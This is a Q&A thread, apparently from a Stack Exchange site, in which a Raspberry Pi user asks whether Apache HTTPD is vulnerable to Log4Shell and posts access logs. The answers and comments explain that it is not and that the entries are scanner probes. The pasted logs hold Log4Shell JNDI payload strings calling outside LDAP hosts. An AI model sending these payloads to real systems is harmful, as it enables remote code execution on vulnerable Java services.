44

Does the apache webserver (apache2) use log4j?

I have Apache2 2.4.38 (debian) installed on Raspberry Pi OS (64bit) and found some strange records in my log regarding CVE-2021-44228 from kryptoslogic-cve-2021-44228.com (honeypot/scanner), dataastatistics.com (offline & malicious?) and a8fvkc.dnslog.cn (I dont know what this is)

What should I do now?

  • nothing because apache2 is not affected by CVE-2021-44228
  • format everything and wait for a few days before I install a patched version
  • "check" if there are any new .class files and if there are not continue operation (and use manual patches like log4j2.formatMsgNoLookups = TRUE
  • something else

Logs:

139.59.99.80 - - [12/Dec/2021:00:34:47 +0100] "GET / HTTP/1.1" 301 512 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:00:34:48 +0100] "GET / HTTP/1.1" 200 5932 "http://79.232.126.49/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:01:51:38 +0100] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 301 654 "-" "Kryptos Logic Telltale"
139.59.99.80 - - [12/Dec/2021:01:51:39 +0100] "GET /$%7bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7d HTTP/1.1" 404 8456 "http://79.232.126.49/$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D" "Kryptos Logic Telltale"
139.59.99.80 - - [12/Dec/2021:01:51:39 +0100] "GET /$%7bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7d HTTP/1.1" 404 8456 "http://79.232.126.49/$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D" "Kryptos Logic Telltale"
139.59.99.80 - - [11/Dec/2021:18:35:25 +0100] "GET / HTTP/1.1" 200 5932 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
139.59.99.80 - - [11/Dec/2021:20:13:11 +0100] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 8456 "-" "Kryptos Logic Telltale"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:34 +0100] "POST /api/v2 HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:34 +0100] "POST /api/v2 HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
137.184.106.119 - - [10/Dec/2021:20:38:18 +0100] "GET / HTTP/1.1" 301 568 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
137.184.106.119 - - [10/Dec/2021:20:38:20 +0100] "GET / HTTP/1.1" 200 6576 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
137.184.106.119 - - [10/Dec/2021:20:38:21 +0100] "GET /favicon.ico HTTP/1.1" 200 7103 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
Basil Bourque
  • 851
  • 1
  • 11
  • 22
gilex
  • 523
  • 1
  • 3
  • 6

2 Answers2

82

The Apache HTTP Server is not written in Java, it does not use the log4j library, so it is not affected by CVE-2021-44228.

Your log files are from the access log, they show people scanning for the log4j vulnerability.

mschuett
  • 3,146
  • 21
  • 21
  • 2
    Good to see Tomcat covered in another answer. – mckenzm Dec 14 '21 at 22:11
  • Not directly related, but if you find this QA to check your Apache HTTP Server setup, then please make sure to upgrade to version 2.4.52. Previous versions have their own [vulnerabilities](https://httpd.apache.org/security/vulnerabilities_24.html) such as [CVE-2021-44224](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44224). – mschuett Dec 21 '21 at 08:50
8

Apache itself is not written in Java and does not directly link the infamous Log4j library. It is particularilly safe from this vulnerability.

What else can go wrong, then?

  1. Not everything with Apache in its name and HTTP functions is exactly the Apache HTTPD server. Apache Tomcat, for example, is completely different HTTP web server. It is written in Java and can pretty much be configured to use Log4J. I am not really sure if it is at all possible to log otherwise in Tomcat.

Someone with less experience and knowledge is perfectly capable of mistaking those two. And, to my knowledge, Tomcat has in general better security track record than the "classical" Apache HTTPD.

(As per Bob's comment, the default logging facility in Tomcat is not Log4J.)

  1. Apache HTTPD is very much extensible. It can be configured to call other things in the background by variety of interfaces (e.g. in order to fetch dynamic web pages that are generated programatically). Some of these "things in the background" may be java-based and linked to the Log4J library.

Your mileage may vary, especially if you don't know in detail your software stack.


In order to be sure, you should first check if you have any Java machine installed. In your package manager, it's packages will be called JRE-something, JVM-something or maybe JAVA-something.

You may as well try:

java -version

in your shell.

If you don't have any of these and you didn't install JAVA outside of your package manager, you are safe.

Not safe in general, but at least safe against CVE-2021-44228.

fraxinus
  • 624
  • 3
  • 5
  • 2
    *> I am not really sure if it is at all possible to log otherwise in Tomcat.* Tomcat, by default, does not use log4j unless configured otherwise. [By default it uses `java.util.logging` via a fork of Apache Commons Logging.](https://tomcat.apache.org/tomcat-9.0-doc/logging.html) In 8.0 [instructions](https://tomcat.apache.org/tomcat-8.0-doc/logging.html#Using_Log4j) were provided for switching to log4j but those were [removed](https://tomcat.apache.org/tomcat-8.5-doc/logging.html) in 8.5. – Bob Dec 15 '21 at 00:19
  • 3
    *> If you don't have any of these and you didn't install JAVA outside of your package manager, you are safe.* The nature of the JRE and how it is redistributed means many applications can and will embed it rather than use an OS package manager (if one even exists... see Windows and macOS). It is certainly **not** safe to assume you do not have any vulnerable programs simply because you didn't install Java yourself, package manager or otherwise. Those embedded versions typically are not part of your `PATH` either, so testing `java` in your shell is not a guarantee of safety. – Bob Dec 15 '21 at 00:21
  • The Q explicitly asks about Rapsbian. In Linux, applications (esp. server ones) generally don't bring their JVM, they just list it as dependency and the package manager brings whatever is needed. – fraxinus Dec 15 '21 at 09:25
  • @fraxinus although there are a lot of people trying to ruin that with things like Snaps. – hobbs Dec 15 '21 at 16:04
  • 1
    @fraxinus you can't make that generalisation. Elastic products bundle their own JRE, for example. With modern Java there isn't even a provided standalone JRE - developers are supposed to compile their own for their application's needs. – OrangeDog Dec 15 '21 at 21:12
  • @fraxinus The problem when talking security is that "generally" isn't good enough. There are enough products, especially large enterprise products (including on Linux), that will bundle their own JRE that it's a legitimate concern. Especially with such a severe vulnerability. Also, while this question body may refer to Raspbian specifically, the question title may prompt others to look at the question - and IMO when giving security advice it really is best to cover all bases. – Bob Dec 16 '21 at 03:33
  • You simply CANNOT cover all bases in security answer to a simple question. Knowing your software stack is essential and if you don't, you deserve what you get. Without this, you resort to recipes with "generally" in them. – fraxinus Dec 16 '21 at 08:04
  • @fraxinus they most certainly do. Primo cases include Minecraft and Arduino. They do bring their own. Not only that but a lot of container leverage revolves around pre-version 8, and even pre-version 6. The containers are to jail that %&^!. – mckenzm Dec 21 '21 at 23:20